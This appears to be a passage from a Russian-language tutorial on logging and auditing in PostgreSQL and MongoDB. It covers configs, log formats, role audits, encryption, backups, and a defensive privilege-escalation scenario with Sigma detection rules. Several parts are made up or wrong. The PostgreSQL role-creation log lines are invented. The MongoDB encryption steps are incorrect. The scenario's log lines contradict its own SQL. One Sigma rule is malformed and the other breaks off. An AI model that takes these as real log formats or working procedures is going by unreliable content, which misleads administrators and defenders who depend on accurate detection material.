После выполнения этих шагов PostgreSQL будет записывать административные действия, такие как создание ролей и назначение прав доступа, в файл журнала postgresql.log с необходимой детализацией, в соответствии с указанными параметрами.

Пример файла postgresql.conf 
#------------------------------------------------------------------------------
# FILE LOCATIONS
#------------------------------------------------------------------------------

data_directory = '/var/lib/postgresql/12/main'

#------------------------------------------------------------------------------
# CONNECTIONS AND AUTHENTICATION
#------------------------------------------------------------------------------

listen_addresses = 'localhost'
port = 5432

#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------

shared_buffers = 128MB

#------------------------------------------------------------------------------
# WRITE AHEAD LOG
#------------------------------------------------------------------------------

wal_level = replica
archive_mode = on
archive_command = 'cp %p /var/lib/postgresql/12/main/archive/%f'

#------------------------------------------------------------------------------
# QUERY TUNING
#------------------------------------------------------------------------------

max_connections = 100
effective_cache_size = 4GB
work_mem = 64MB

#------------------------------------------------------------------------------
# ERROR REPORTING AND LOGGING
#------------------------------------------------------------------------------

log_destination = 'stderr'
logging_collector = on
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d.log'
log_statement = 'all'
log_connections = on
log_disconnections = on
log_duration = on

#------------------------------------------------------------------------------
# SECURITY AND AUTHORIZATION
#------------------------------------------------------------------------------

password_encryption = 'scram-sha-256'

#------------------------------------------------------------------------------
# OTHERS
#------------------------------------------------------------------------------

max_wal_size = 2GB

Типы событий в журнале postgresql.log

Сообщения сервера — информационные сообщения о состоянии сервера, его настройках, запущенных процессах и т. д.:

2024-03-28 10:00:00.123 UTC [23345] LOG:  database system is ready to accept connections

Сообщения об ошибках, возникающих во время выполнения запросов, операций и т. д.:

2024-03-28 10:05:00.456 UTC [23345] ERROR:  syntax error at or near "SELECT"

Записи о выполняемых SQL-запросах, включая их текст, время выполнения, идентификаторы процессов и т. д.:

2024-03-28 10:10:00.789 UTC [23345] LOG:  statement: SELECT * FROM users;
2024-03-28 10:00:01.234 UTC [23345] LOG: statement: INSERT INTO products (name, price) VALUES ('Product A', 99.99);
2024-03-28 10:00:02.345 UTC [23345] LOG: statement: UPDATE customers SET email = 'new@example.com' WHERE id = 123;

Сообщения о подключениях и отключениях к серверу PostgreSQL:

2024-03-28 10:15:00.012 UTC [23345] LOG:  connection received: host=127.0.0.1 port=5432
2024-03-28 10:20:00.345 UTC [23345] LOG:  disconnection: session time: 0:05:00

Информация о процессах репликации, восстановлении, синхронизации и т. д., если сервер работает в режиме репликации.

2024-03-28 10:25:00.678 UTC [23345] LOG:  starting streaming replication

Сообщения о сбоях и восстановлении:

2024-03-28 10:30:00.901 UTC [23345] LOG:  server process (PID 23345) was terminated by signal 9: Killed
2024-03-28 10:35:00.234 UTC [23345] LOG:  database system was interrupted; last known up at 2024-03-28 10:00:00 UTC

Сообщения о процессах архивации и восстановления:

2024-03-28 10:40:00.567 UTC [23345] LOG:  starting online backup of database "mydb"
2024-03-28 10:45:00.890 UTC [23345] LOG:  restore of database "mydb" from archive completed

Сообщения о настройках и изменениях конфигурации:

2024-03-28 10:50:00.123 UTC [23345] LOG:  configuration file "/etc/postgresql.conf" contains changes

Рассмотрим подробнее пример файла журнала postgresql.log с включенной опцией log_statement, который записывает в лог все SQL-запросы:

2024-03-28 10:00:00.123 UTC [23345] LOG: statement: SELECT * FROM users;
2024-03-28 10:00:01.234 UTC [23345] LOG: statement: INSERT INTO products (name, price) VALUES ('Product A', 99.99);
2024-03-28 10:00:02.345 UTC [23345] LOG: statement: UPDATE customers SET email = 'new@example.com' WHERE id = 123;

В этом примере каждая строка в файле журнала представляет собой SQL-запрос, который был выполнен в базе данных. Каждая запись начинается с даты и времени события, за которыми следует идентификатор процесса PostgreSQL (23345 в данном случае), уровень журналирования (LOG), и непосредственно сам SQL-запрос.

Мониторинг запросов в MongoDB

  1. Профилирование MongoDB: MongoDB позволяет включить профилирование, чтобы записывать информацию о выполненных запросах. Это делается с помощью команды db.setProfilingLevel().

    Пример установки уровня профилирования в MongoDB:

    db.setProfilingLevel(1, { slowms: 100 });

    Значение 1 указывает на включение профилирования. Это означает, что MongoDB будет записывать информацию о каждом выполненном запросе.
    { slowms: 100 }: это опциональный параметр, который определяет пороговое значение времени выполнения запроса в миллисекундах, после которого запрос считается "медленным". В данном случае запросы, выполняющиеся дольше 100 миллисекунд, будут считаться медленными и будут записываться в профилировочный журнал.

  2. Использование инструментов мониторинга: для мониторинга MongoDB можно использовать различные инструменты, такие как MongoDB Compass, MongoDB Cloud Manager, MongoDB Ops Manager и другие. Они предоставляют дашборды и отчеты о выполненных запросах и производительности сервера MongoDB.

  3. db.currentOp(): этот метод позволяет просматривать текущие операции в MongoDB, включая выполняемые запросы.

Просмотр текущих операций в MongoDB

В MongoDB метод db.currentOp() используется для получения списка текущих операций, выполняющихся в базе данных. Этот метод полезен для мониторинга текущей активности и идентификации долго выполняющихся операций или блокировок. Пример вывода после использования db.currentOp():

Раскрыть 
{
   "inprog" : [
      {
         "opid" : 6146937,
         "active" : true,
         "secs_running" : 5,
         "op" : "query",
         "ns" : "test.collection",
         "command" : {
            "find" : "collection",
            "filter" : {
               "status" : "active"
            },
            "lsid" : {
               "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38")
            },
            "$clusterTime" : {
               "clusterTime" : Timestamp(1632785477, 1),
               "signature" : {
                  "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
                  "keyId" : NumberLong(0)
               }
            },
            "originatingCommand" : {
               "find" : "collection",
               "filter" : {
                  "status" : "active"
               },
               "lsid" : {
                  "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38")
               },
               "$clusterTime" : {
                  "clusterTime" : Timestamp(1632785477, 1),
                  "signature" : {
                     "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
                     "keyId" : NumberLong(0)
                  }
               },
               "...
         },
         "planSummary" : "COLLSCAN",
         "numYields" : 0,
         "locks" : {
            "ReplicationStateTransition" : {
               "acquireCount" : {
                  "w" : NumberLong(1)
               }
            },
            "Global" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            },
            "Database" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            },
            "Collection" : {
               "acquireCount" : {
                  "r" : NumberLong(1)
               }
            }
         },
         "responseLength" : 15825718,
         "protocol" : "op_msg",
         "millis" : 5,
         "execStats" : {

         },
         "ts" : ISODate("2021-09-28T14:11:17.631Z"),
         "client" : "127.0.0.1",
         "appName" : "MongoDB Shell",
         "clientMetadata" : {
            "application" : {
               "name" : "MongoDB Shell"
            },
            "driver" : {
               "name" : "MongoDB Internal Client",
               "version" : "4.4.8"
            },
            "os" : {
               "type" : "Linux",
               "name" : "Ubuntu",
               "architecture" : "x86_64",
               "version" : "20.04"
            }
         },
         "numYields" : 0,
         "locks" : {

         },
         "waitingForLock" : false,
         "awaiting_historical_lock" : false,
         "lockStats" : {
            "ReplicationStateTransition" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Global" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Database" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            },
            "Collection" : {
               "timeLockedMicros" : {
                  "r" : NumberLong(0),
                  "w" : NumberLong(87)
               }
            }
         }
      }
   ],
   "ok" : 1
}

В примере приведена информация о текущей операции, выполняющейся в MongoDB. Поля в этом логе:

  1. opid: Уникальный идентификатор операции (Operation ID).

  2. active: Показывает, активна ли операция в данный момент.

  3. secs_running: Время, в течение которого операция выполняется, в секундах.

  4. op: Тип операции. В данном случае это query, что означает выполнение запроса к базе данных.

  5. ns: Пространство имен, в котором выполняется операция. В данном случае запрос выполняется в коллекции test.collection.

  6. command: Команда запроса. Здесь показана конкретная команда find для поиска документов в коллекции collection, которые соответствуют фильтру { "status" : "active" }.

  7. planSummary: Краткое описание плана выполнения запроса. В данном случае используется коллекционный скан (COLLSCAN), что может указывать на то, что индекс не используется для выполнения запроса.

  8. locks: Информация о блокировках, которые удерживает операция. Здесь показаны различные типы блокировок, включая блокировки на уровне глобального объекта, базы данных и коллекции.

  9. responseLength: Длина ответа на запрос, в байтах.

  10. client: IP-адрес или хост, откуда был отправлен запрос.

  11. appName: Имя приложения, которое инициировало запрос. В данном случае это MongoDB Shell.

  12. clientMetadata: Дополнительная метаданные о клиенте, включая информацию о драйвере и операционной системе.

  13. waitingForLock: Показывает, ожидает ли операция блокировку.

  14. awaiting_historical_lock: Показывает, ожидает ли операция историческую блокировку.

  15. lockStats: Статистика блокировок для операции, включая время, в течение которого различные типы блокировок были удерживаемыми.

Настройка логирования в MongoDB

В MongoDB настройка логирования осуществляется через файл конфигурации mongod.conf.

  1. Настройка параметров логирования:

    В файле mongod.conf найдите и отредактируйте параметры, связанные с логированием:

    • systemLog.destination: Укажите тип журнала, который вы хотите использовать. Например, file для записи в файл или syslog для записи в системный журнал.

    • systemLog.path: Укажите путь к файлу журнала, если вы выбрали тип file.

    • systemLog.logAppend: Если установлено в true, новые записи будут добавляться в конец существующего файла журнала. Если установлено в false, файл будет перезаписываться при каждом запуске.

    • systemLog.verbosity: Укажите уровень журналирования. Например, 0 для минимального уровня (только критические сообщения), 1 для информационных сообщений, 2 для отладочных сообщений и т. д.

  2. Перезапустите MongoDB:

    После внесения изменений в файл mongod.conf перезапустите MongoDB для применения новых настроек.

    sudo service mongod restart

Пример файла mongod.conf 
# mongod.conf

# Установка каталога данных и журнала
storage:
  dbPath: /var/lib/mongodb
  journal:
    enabled: true

# Установка параметров системного журнала
systemLog:
  destination: file
  logAppend: true
  path: /var/log/mongodb/mongod.log
  verbosity: 1

# Установка параметров сети
net:
  port: 27017
  bindIp: 127.0.0.1

# Настройка параметров безопасности
security:
  authorization: enabled

# Другие параметры конфигурации (необязательно)

Логи MongoDB

В логе mongod.log MongoDB записывает различные типы событий, связанных с работой сервера и его окружения.

Основные типы событий, которые могут присутствовать в журнале mongod.log:

Сообщения о запуске и остановке сервера:

2024-03-28T12:00:00.000+0000 I CONTROL  [main] ***** SERVER RESTARTED *****
2024-03-28T12:00:05.000+0000 I CONTROL  [initandlisten] MongoDB starting : pid=123 port=27017 ...

Сообщения о подключении и отключении клиентов:

2024-03-28T12:05:23.000+0000 I NETWORK  [listener] connection accepted from 192.168.1.100:54321 #1 (1 connection now open)
2024-03-28T12:05:30.000+0000 I NETWORK  [conn1] end connection 192.168.1.100:54321 (0 connections now open)

Сообщения об аутентификации и авторизации:

2024-03-28T12:10:12.000+0000 I ACCESS   [conn123] Successfully authenticated as user1
2024-03-28T12:10:20.000+0000 I ACCESS   [conn123] Authentication failed for user2 from IP 192.168.1.101

Сообщения о выполнении операций:

2024-03-28T12:15:45.000+0000 I COMMAND  [conn123] command mydatabase.collection command: find { find: "collection", filter: {}, ...
2024-03-28T12:15:50.000+0000 I WRITE    [conn123] update mydatabase.collection query: { _id: ObjectId("123") } update: ...

Сообщения об ошибках и предупреждениях:

2024-03-28T12:20:00.000+0000 W STORAGE  [conn123] Detected unclean shutdown - /data/db/mongod.lock is not empty.
2024-03-28T12:20:10.000+0000 E STORAGE  [conn123] WiredTiger error (0) [111111111] at <path/to/file>:123, terminating

Сообщения о репликации и кластеризации:

2024-03-28T12:25:00.000+0000 I REPL     [rsSync] Starting initial sync with primary
2024-03-28T12:25:10.000+0000 I REPL     [rsSync] Initial sync attempt failed, retrying in 10 seconds

Сообщения о резервном копировании и восстановлении:

2024-03-28T12:30:00.000+0000 I COMMAND  [conn123] command admin.backup command: backup { backup: "mydatabase" }
2024-03-28T12:30:05.000+0000 I COMMAND  [conn123] command admin.restore command: restore { restore: "mydatabase" }

Сообщения о настройках и изменениях конфигурации:

2024-03-28T12:35:00.000+0000 I CONTROL  [main] Setting featureCompatibilityVersion to "4.0"
2024-03-28T12:35:10.000+0000 I STORAGE  [initandlisten] Detected data files in /data/db created by the 'wiredTiger' storage engine, ...

Роли и права пользователей

В реляционных базах данных

Роли пользователей

Суперпользователь (Superuser) — особая роль, которая обладает полными правами на управление базой данных и ее объектами. Суперпользователь может выполнять любые операции с данными, включая создание, изменение и удаление объектов базы данных, а также управление пользователями и их правами.

Пользователь (User) — обычный пользователь базы данных, который имеет ограниченные права на выполнение операций с данными. Пользователи могут иметь доступ только к определенным объектам базы данных и выполнять только определенные операции, в зависимости от их назначенных прав доступа.

Роли безопасности (Security Roles) — являются наборами прав доступа, которые можно назначить одному или нескольким пользователям. Использование ролей позволяет упростить управление правами доступа и обеспечить согласованность безопасности в системе.

Права доступа

Права на объекты — определяют, какие операции разрешены для выполнения с определенными объектами базы данных, такими как таблицы, представления, процедуры и т.д. Типичные права включают SELECT (чтение), INSERT (добавление), UPDATE (обновление), DELETE (удаление) и другие.

Глобальные права — определяют операции, разрешенные для выполнения на уровне базы данных или даже на уровне сервера баз данных в целом. Например, глобальные права могут включать права на создание баз данных, создание пользователей, управление ролями и т.д.

Права на системные объекты — определяют доступ к системным объектам базы данных, таким как системные таблицы и представления, а также каталоги базы данных.

Права на схемы (Schema Privileges) — некоторые СУБД предоставляют возможность управления правами доступа на уровне схем, что позволяет более гибко управлять доступом к группам объектов.

Примеры создания пользователей в PostgreSQL

В PostgreSQL для создания пользователя используется команда CREATE ROLE. Создавать новых пользователей могут пользователями с такими правами:

Рассмотрим примеры создания пользователей с различными уровнями привилегий:

Создание суперпользователя

CREATE ROLE superuser LOGIN SUPERUSER PASSWORD 'password';

Этот запрос создает нового суперпользователя с именем superuser и устанавливает пароль password. Суперпользователь имеет полный доступ ко всем объектам базы данных и может выполнять любые операции.

Как это будет выглядеть в логе:

<timestamp> LOG:  new superuser superuser created
<timestamp> LOG:  granting SUPERUSER privileges to user "superuser"

Создание пользователя с ограниченными привилегиями

CREATE ROLE limited_user LOGIN PASSWORD 'password' VALID UNTIL '2025-12-31';
GRANT SELECT ON ALL TABLES IN SCHEMA public TO limited_user;

Этот запрос создает нового пользователя с именем limited_user, устанавливает ему пароль password и устанавливает срок его действия до 31 декабря 2025 года. Затем с помощью команды GRANT предоставляются ограниченные привилегии на чтение (SELECT) для всех таблиц в схеме public.

Как это будет выглядеть в логе:

<timestamp> LOG:  new user limited_user with password created
<timestamp> LOG:  granting LOGIN privileges to user "limited_user"
<timestamp> LOG:  granting SELECT privileges on all tables in schema public to user "limited_user"

Создание роли с административными привилегиями

CREATE ROLE admin_role;
GRANT CREATE ROLE TO admin_role;
GRANT CREATE DATABASE TO admin_role;

Этот запрос создает новую роль admin_role, которая имеет право создавать другие роли и базы данных. Роль с административными привилегиями может быть использована для управления пользователями и базами данных в системе.

Как это будет выглядеть в логе:

<timestamp> LOG:  new role admin_role created
<timestamp> LOG:  granting CREATE ROLE privileges to role "admin_role"
<timestamp> LOG:  granting CREATE DATABASE privileges to role "admin_role"

Аудит учетных записей

Относительно SQL-команд повышенные права должны иметь только суперпользователи. Обычные пользователи PostgreSQL не должны обладать возможностью создавать роли, создавать новые базы данных, управлять репликацией или выполнять любое другое действие, считающееся привилегированным. Обычным пользователям должен предоставляться только минимальный набор привилегий, соответствующий управлению приложением:

Также считается хорошей практикой создавать отдельные роли для DDL и DML. Для приложения с названием "payroll" были бы созданы следующие пользователи:

Любые привилегии DDL предоставляются только учетной записи payroll_owner, в то время как привилегии DML предоставляются только учетной записи payroll_user. Это предотвращает случайное создание/изменение/удаление объектов базы данных кодом приложения, который выполняется от имени учетной записи payroll_user.

Таким образом, не ограничивая глобальные административные команды только суперпользователями, обычные пользователи, которым предоставлены избыточные привилегии, могут выполнять административные команды с неожиданными и нежелательными результатами.

В процессе аудита сначала необходимо проверить привилегии, предоставленные суперпользователю базы данных (определенному здесь как postgres), используя команду отображения psql -c "\du postgres", чтобы установить базовую линию для предоставленных административных привилегий. На основе примера ниже, суперпользователь postgres может создавать роли, создавать базы данных, управлять репликацией и обходить уровни безопасности строк (RLS -  Row Level Security):

# whoami
postgres
# psql -c "\du postgres"

                                                    List of roles
Role name |                                 Attributes                                 | Member of
-----------------+--------------------------------------------------------------------------+--------------------
postgres    | Superuser, Create role, Create DB, Replication, |          {}
                    |                               Bypass RLS                               |

Теперь проверим ту же информацию для обычного пользователя с именем appuser с помощью команды отображения psql -c "\du appuser". Вывод подтверждает, что обычный пользователь appuser имеет те же повышенные привилегии, что и системный администратор пользователь postgres, так быть не должно:

# whoami
postgres
# psql -c "\du appuser"

                                                    List of roles
Role name |                                 Attributes                                 | Member of
-----------------+---------------------------------------------------------------------------+--------------------
appuser     | Superuser, Create role, Create DB, Replication,  |          {}
                    |                               Bypass RLS                                |

Этот пример показывает, что одному пользователю были присвоены излишние административные права, однако в процессе аудита нужно провести полный анализ всех пользователей базы данных, чтобы убедиться, что у них нет избыточных прав. Это можно сделать с помощью следующих команд:

# whoami
postgres
# psql -c "\du *"
# psql -c "select * from pg_user order by usename"

Если каким-либо обычным пользователям были предоставлены избыточные права, их следует немедленно отозвать с помощью команды SQL ALTER ROLE. Используя тот же пример выше, следующие команды отзывают все ненужные повышенные права у обычного пользователя appuser:

# whoami
postgres
# psql -c "ALTER ROLE appuser NOSUPERUSER;"
ALTER ROLE
# psql -c "ALTER ROLE appuser NOCREATEROLE;"
ALTER ROLE
# psql -c "ALTER ROLE appuser NOCREATEDB;"
ALTER ROLE
# psql -c "ALTER ROLE appuser NOREPLICATION;"
ALTER ROLE
# psql -c "ALTER ROLE appuser NOBYPASSRLS;"
ALTER ROLE
# psql -c "ALTER ROLE appuser NOINHERIT;"
ALTER ROLE

После выполненных действий нужно проверить новые права у пользователя appuser:

# whoami
postgres
# psql -c "\du appuser"

                    List of roles
Role name | Attributes | Member of
-----------------+-----------------+--------------------
appuser     |                    |          {}

Роли и права пользователей в NoSQL базах

В NoSQL базах данных, в отличие от реляционных, роли и права пользователей могут быть менее формализованными и разнообразными. Однако, в большинстве NoSQL СУБД все еще существуют концепции управления доступом.

Аутентификация и авторизация — пользователи могут аутентифицироваться с помощью учетных данных (например, имя пользователя и пароль) или с использованием механизмов аутентификации на основе ключей. После успешной аутентификации пользователь авторизуется для доступа к данным в соответствии с их правами доступа.

Роли —  в NoSQL базах данных также существуют концепции ролей, которые могут группировать пользователей и предоставлять им схожие права доступа. Роли могут использоваться для упрощения управления правами доступа и обеспечения согласованности безопасности в системе.

Права доступа — пользователи или роли могут быть наделены различными правами доступа к данным.
Эти права могут включать операции чтения, записи, обновления, удаления и т. д. В зависимости от конкретной NoSQL базы данных, могут также поддерживаться различные уровни гранулярности прав доступа к отдельным объектам данных.

Основные права доступа в MongoDB

Управление доступом на уровне коллекций/таблиц - во многих NoSQL базах данных можно настраивать права доступа на уровне отдельных коллекций (в MongoDB) или таблиц (в Cassandra). Это позволяет точечно контролировать доступ к конкретным наборам данных в базе данных.

Управление доступом на уровне полей - некоторые NoSQL базы данных также поддерживают гранулярное управление доступом на уровне отдельных полей в документах (например, в MongoDB).

Пример создания пользователя в MongoDB

use mydatabase;

// Создание пользователя с правами чтения и записи для определенной коллекции
db.createUser({
  user: "user1",
  pwd: "password1",
  roles: [
    { role: "readWrite", db: "mydatabase" }
  ]
});

// Создание пользователя с административными правами для базы данных
db.createUser({
  user: "adminUser",
  pwd: "adminPassword",
  roles: [
    { role: "dbAdmin", db: "mydatabase" },
    { role: "userAdmin", db: "mydatabase" }
  ]
});

// Создание пользователя с правами на выполнение резервного копирования и восстановления
db.createUser({
  user: "backupUser",
  pwd: "backupPassword",
  roles: [
    { role: "backup", db: "mydatabase" },
    { role: "restore", db: "mydatabase" }
  ]
});

События создания пользователей в журнале MongoDB mongod.log могут выглядеть следующим образом:

2024-03-28T12:34:56.789+0000 I ACCESS   [conn123] Successfully added user: { "user" : "user1", "roles" : [ { "role" : "readWrite", "db" : "mydatabase" } ] }
2024-03-28T12:34:56.790+0000 I ACCESS   [conn123] Successfully added user: { "user" : "adminUser", "roles" : [ { "role" : "dbAdmin", "db" : "mydatabase" }, { "role" : "userAdmin", "db" : "mydatabase" } ] }
2024-03-28T12:34:56.791+0000 I ACCESS   [conn123] Successfully added user: { "user" : "backupUser", "roles" : [ { "role" : "backup", "db" : "mydatabase" }, { "role" : "restore", "db" : "mydatabase" } ] }

Поля в логе:

Использование шифрования

Настройка шифрования в PostgreSQL

В PostgreSQL шифрование данных можно настроить с использованием различных методов, таких как шифрование на уровне приложения, шифрование на уровне столбцов и шифрование на уровне хранения данных. Ниже представлен обзор этих методов:

  1. Шифрование на уровне приложения: этот метод предполагает, что данные шифруются на стороне приложения перед тем, как они попадут в базу данных. Приложение самостоятельно обрабатывает шифрование и дешифрование данных перед сохранением их в базе данных или после извлечения из базы данных. Это обеспечивает контроль над процессом шифрования, но требует изменений в коде приложения.

  2. Шифрование на уровне столбцов: PostgreSQL поддерживает шифрование данных на уровне столбцов с помощью модуля расширения pgcrypto. С использованием этого метода вы можете шифровать конкретные столбцы таблицы, оставляя остальные данные в открытом виде. Преимущество этого метода в том, что шифрование и дешифрование данных происходят автоматически на уровне базы данных, что делает его более удобным для применения.

  3. Шифрование на уровне хранения данных: этот метод предполагает использование шифрования на уровне хранения данных, когда все данные в базе данных шифруются целиком. PostgreSQL поддерживает шифрование на уровне хранения данных с помощью различных инструментов, таких как Transparent Data Encryption (TDE), который может быть реализован с помощью сторонних расширений или управляемых служб.

Для конфигурации шифрования на уровне столбцов в PostgreSQL с помощью pgcrypto можно использовать следующие шаги:

1. Установите расширение pgcrypto:

CREATE EXTENSION pgcrypto;

2. Создайте таблицу с зашифрованными столбцами:

CREATE TABLE my_table ( id SERIAL PRIMARY KEY, sensitive_data BYTEA ); -- Шифруйте данные перед вставкой в таблицу
INSERT INTO my_table (sensitive_data) VALUES (pgp_sym_encrypt('my sensitive data', 'secret_key'));

3. Дешифруйте данные при их извлечении из таблицы:

-- Извлеките зашифрованные данные и дешифруйте их
SELECT pgp_sym_decrypt(sensitive_data, 'secret_key') AS sensitive_data FROM my_table;

Для работы с зашифрованными данными в базе данных пользователю обычно требуются следующие права доступа:

Доступ к зашифрованным данным: пользователь должен иметь права на выполнение операций чтения, записи, обновления и удаления данных в зашифрованных таблицах или столбцах. Это обеспечивает пользователю возможность взаимодействовать с данными в базе данных, независимо от их шифрования

GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE encrypted_table TO user_name;

Доступ к ключам шифрования: в некоторых случаях пользователю может потребоваться доступ к ключам шифрования, если он выполняет операции, которые требуют расшифровки данных. Однако доступ к ключам шифрования обычно ограничивается только администраторам базы данных или другим уполномоченным лицам, чтобы предотвратить несанкционированный доступ к ключам.

GRANT EXECUTE ON FUNCTION encrypt_function(text) TO user_name;
GRANT EXECUTE ON FUNCTION decrypt_function(text) TO user_name;

Доступ к функциям и процедурам: если в базе данных используются функции или процедуры для работы с зашифрованными данными (например, для шифрования или расшифровки), пользователю может потребоваться доступ к этим функциям или процедурам.

GRANT EXECUTE ON FUNCTION encryption_function(parameters) TO user_name;

Доступ к управлению ключами шифрования (необязательно): в некоторых случаях пользователь может быть уполномочен на управление ключами шифрования или их генерацию. Это может потребоваться, например, при создании новых зашифрованных столбцов или при установке новых ключей шифрования.

GRANT CREATE ON SCHEMA encryption_schema TO user_name;

Настройка шифрования в MongoDB

Для настройки шифрования данных в MongoDB вам необходимо выполнить ряд шагов, включая создание ключей шифрования, настройку ключевого провайдера, включение шифрования данных и настройку транспортного шифрования.

  1. Создание ключей шифрования:

    Пример создания ключей шифрования с использованием mongocryptd:

    mongocryptd --fork --dbpath /var/lib/mongocryptd

  2. Настройка ключевого провайдера:

    mongosh use admin db.createCollection("keys") db.keys.insertOne({ "key": "<master_key>" })

  3. Включение шифрования данных:

    Включение шифрования данных при запуске сервера MongoDB:

    mongod --enableEncryption --encryptionKeyFile /path/to/encryption.key

  4. Включение транспортного шифрования:

    Пример настройки SSL/TLS для транспортного шифрования:

    net: ssl: mode: "requireSSL" PEMKeyFile: "/path/to/server.pem" CAFile: "/path/to/ca.pem"

Резервное копирование

Резервное копирование в PostgreSQL

Для настройки резервного копирования в PostgreSQL вы можете использовать инструменты резервного копирования, такие как pg_dump и pg_dumpall, а также встроенную функциональность PostgreSQL для создания резервных копий и восстановления данных. Ниже шаги, которые обычно выполняются для настройки резервного копирования:

  1. Использование pg_dump для создания резервной копии базы данных:

    • Используйте команду pg_dump для создания текстовых файлов SQL, содержащих структуру базы данных и данные.
    • Пример команды для создания резервной копии базы данных: 
      pg_dump -U username dbname > backup.sql

  2. Использование pg_dumpall для создания резервной копии всех баз данных:

    • Команда pg_dumpall позволяет создавать резервные копии всех баз данных, доступных для указанного пользователя.
    • Пример команды для создания резервной копии всех баз данных: 
      pg_dumpall -U username > backup.sql

Резервное копирование в MongoDB

Для настройки резервного копирования в MongoDB можно использовать инструменты резервного копирования, такие как mongodump, а также сторонние инструменты управления резервными копиями, например, MongoDB Atlas Backup или другие инструменты для автоматизации и управления резервным копированием. Ниже настройка резервного копирования в MongoDB с использованием mongodump:

  1. Использование mongodump для создания резервных копий:

    • Пример команды для создания резервной копии всех баз данных MongoDB: 
      mongodump --host <hostname> --port <port> --username <username> --password <password> --out <backup_directory>
      Эта команда использует подключение к MongoDB с указанными параметрами (хост, порт, имя пользователя, пароль) и сохраняет резервную копию в указанном каталоге.

Общие рекомендации:

  1. Автоматизация резервного копирования:

    • Для регулярного создания резервных копий вы можете использовать утилиты планировщика задач, такие как cron в UNIX-подобных системах или Task Scheduler в Windows.
    • Создайте скрипт, который будет выполнять команду резервного копирования с необходимыми параметрами, а затем настройте его выполнение по расписанию с помощью утилиты планировщика задач.

  2. Хранение резервных копий:

    • Убедитесь, что резервные копии хранятся в безопасном месте, доступном только авторизованным пользователям.
    • Рассмотрите возможность хранения резервных копий в облачном хранилище или на отдельном сервере с репликацией данных для обеспечения долгосрочного хранения и защиты от потери данных.

  3. Тестирование восстановления:

    • Регулярно проверяйте процесс восстановления данных из резервной копии, чтобы убедиться, что он работает правильно, и данные могут быть восстановлены в случае чрезвычайной ситуации.

Сценарий атаки

На примере PostgreSQL

Рассмотрим сценарий, при котором злоумышленник уже имеет доступ к учетной записи с правом CREATE ROLE . Пользователь с правом CREATE ROLE в PostgreSQL может создать другого пользователя и назначить ему права на редактирование/удаление/просмотр всех таблиц в базе данных.

  1. Создание нового пользователя: Пользователь с правом CREATE ROLE может создать нового пользователя с помощью команды CREATE ROLE и назначить ему необходимые права доступа.

    CREATE ROLE coolhecker LOGIN PASSWORD 'password';

  2. Назначение прав доступа: чтобы дать новой учетной записи права на редактирование таблиц в БД, ему можно дать роль SUPERUSER

    ALTER ROLE coolhecker WITH SUPERUSER;

    Или можно назначить отдельные привилегии для пользователя, указав необходимые права доступа, например:

    GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO coolhecker;

    Этот запрос предоставит пользователю coolhecker права на просмотр, вставку, обновление и удаление данных из всех таблиц в схеме public.

Как это будет видно в логе:

2024-03-29 12:00:00.123 UTC [23345] LOG:  statement: CREATE ROLE coolhecker LOGIN PASSWORD 'ehehehehe';
2024-03-29 12:00:01.234 UTC [23345] LOG:  statement: ALTER ROLE coolhecker WITH SUPERUSER;

В первой записи выполняется команда CREATE ROLE, создающая нового пользователя с именем coolhecker и паролем ehehehehe. Во второй записи выполняется команда ALTER ROLE, назначающая пользователю coolhecker права SUPERUSER.

Важно! Для того чтобы увидеть эти записи в логе, необходимо настроить журналирование в соответствии с требуемым уровнем детализации и включить запись административных действий в лог.

Уже на этом этапе злоумышленника можно остановить, если вовремя среагировать на событие создания пользователя с ролью superuser. Как может выглядеть правило sigma для обнаружения такого события:


title: Обнаружение создания суперпользователя в PostgreSQL
id: postgresql_create_superuser
status: experimental
description: Обнаружение операции создания пользователя с ролью суперпользователя в PostgreSQL.
author: [Your Name]
date: 2024-03-31
logsource:
  product: postgresql
detection:
  selection:
    crosstheme1.username: ["!~^(?:postgres)$"]  # Исключаем создание роли "postgres"
    crosstheme1.statement: ["CREATE ROLE%", "%SUPERUSER%"]
  condition: selection
fields:
  - username
  - statement
falsepositives:
  - Легитимные операции создания пользователей с правами суперпользователя, произведенные администраторами.
level: high

Предположим, что злоумышленника никто не остановил и он идет дальше. Какие операции он может выполнить:

Зайти в БД под созданной учетной записью

В логе такое событие будет выглядеть так:

2024-03-31 10:15:00.123 UTC [23345] LOG:  connection authorized: user=coolhecker database=my_database

Вывод перечня таблиц в базе данных

SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

Этот запрос выбирает все имена таблиц из схемы public в базе данных.

Как это будет выглядеть в логе:

2024-03-31 10:15:00.123 UTC [23345] LOG:  statement: SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

Вывод названий столбцов для одной из таблиц

Допустим, у нас есть таблица users, и злоумышленник хочет увидеть названия ее столбцов.

SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'users';

Этот запрос выбирает все имена столбцов для таблицы users из схемы public в базе данных.

Как это будет выглядеть в логе:

2024-03-31 10:16:00.234 UTC [23346] LOG:  statement: SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'users';

Выполнить очень широкий запрос

SELECT * FROM users;

Как это будет выглядеть в логе:

2024-03-31 10:16:00.234 UTC [23346] LOG:  statement: SELECT * FROM my_table;

Пример правила Sigma, которое обнаруживает 2 последовательных события: авторизацию пользователя в базе и выполнение широкого запроса:


title: Обнаружение последовательности аутентификации и выполнения запроса SELECT * FROM в PostgreSQL
id: postgresql_login_followed_by_select
status: experimental
description: Обнаружение события, когда пользователь авторизуется в базе данных, а затем выполняет запрос SELECT * FROM.
author: [Your Name]
date: 2024-04-01
references:
  - https://example.com/postgresql-logging-docs
